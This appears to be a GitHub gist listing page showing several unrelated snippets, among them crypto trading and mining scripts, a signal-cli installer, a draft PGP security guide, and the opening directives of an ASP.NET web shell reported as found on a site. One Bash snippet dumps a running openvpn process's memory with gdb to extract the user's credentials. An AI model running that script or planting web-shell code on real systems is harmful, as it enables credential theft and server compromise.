Skip to content

Instantly share code, notes, and snippets.

View d3f4ultt's full-sized avatar
:octocat:
Bad price, devs do something...

D3f4ult Trades d3f4ultt

:octocat:
Bad price, devs do something...
View GitHub Profile
#!/bin/bash
while true
do
echo "Running"
ore --rpc "$1" --keypair "$2" --priority-fee 1000 mine --threads 4
echo "Exited"
done
@stegaBOB
stegaBOB / optimalTransaction.ts
Last active April 22, 2024 15:42
Gets an optimal transaction with priority fees and minimum CU limits in parallel with Promise.all
async function getPriorityFees(instructions: TransactionInstruction[]): Promise<number> {
// replace with real function
return 426;
}
async function getSimulationUnits(
connection: Connection,
instructions: TransactionInstruction[],
payer: PublicKey,
lookupTables: AddressLookupTableAccount[]
@TossAyeCoin
TossAyeCoin / FT-Sell-All-Keys.py
Created September 19, 2023 01:12
FT_Sell_All
# Friend.tech Account Closer
# Over the hype? Run this script to sell all keys, and send BASE ETH to another wallet.
import requests
from web3 import Web3
from web3.middleware import geth_poa_middleware,construct_sign_and_send_raw_middleware
# USER VARIABLES
provider_rpc ="https://mainnet.base.org"
withdrawal_wallet_addr = "WALLET_ADDRESS_2_WITHDRAW"
friendtech_wallet = "FRIENDTECH_WALLET"
@jonowo
jonowo / InstallSignalEN.py
Last active June 15, 2024 16:07 — forked from SpawnY0815/InstallSignalEN.py
Simple Python script for automating the installation of signal-cli, the DBus service, and registering a new user. Fork of https://gist.github.com/Vic3198/f0c9e17ef3d70e7b8c066bfd8cf4db2d
# Run this Python 3 script with superuser rights ('sudo') to install the Signal client
input("Welcome to the signal-cli install wizard.\nPress ENTER when you are ready.")
import os
yes = ['Oui', 'Yes', 'O', 'Y', 'oui', 'yes', 'o', 'y']
javaInstalled = input(
#!/bin/bash
# This little hack-job will grab credentials from a running openvpn process in Linux
# Keep in mind this won't work if the user used the --auth-nocache flag
pid=$(ps -efww | grep -v grep | grep openvpn | awk '{print $2}')
echo $pid | grep rw-p /proc/$pid/maps | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' | while read start stop; do gdb --batch-silent --silent --pid $pid -ex "dump memory $pid-$start-$stop.dump 0x$start 0x$stop"; done
echo "Your credentials should be listed below as username/password"
strings *.dump | awk 'NR>=3 && NR<=4 { print }'
rm *.dump --force
@grugq
grugq / gist:03167bed45e774551155
Last active August 10, 2024 22:42
operational pgp - draft

Operational PGP

This is a guide on how to email securely.

There are many guides on how to install and use PGP to encrypt email. This is not one of them. This is a guide on secure communication using email with PGP encryption. If you are not familiar with PGP, please read another guide first. If you are comfortable using PGP to encrypt and decrypt emails, this guide will raise your security to the next level.

@roboter
roboter / kshell.aspx
Created September 5, 2013 08:17
Found Hacker Shell on ASP.NET site
<%@ Page ContentType="text/html" validateRequest="false" aspcompat="true"%>
<%@ Import Namespace="System.IO" %>
<%@ import namespace="System.Diagnostics" %>
<%@ import namespace="System.Threading" %>
<%@ import namespace="System.Text" %>
<%@ import namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Net.Sockets"%>
<%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %>
<%@ import Namespace="System.DirectoryServices" %>
<%@ import Namespace="Microsoft.Win32" %>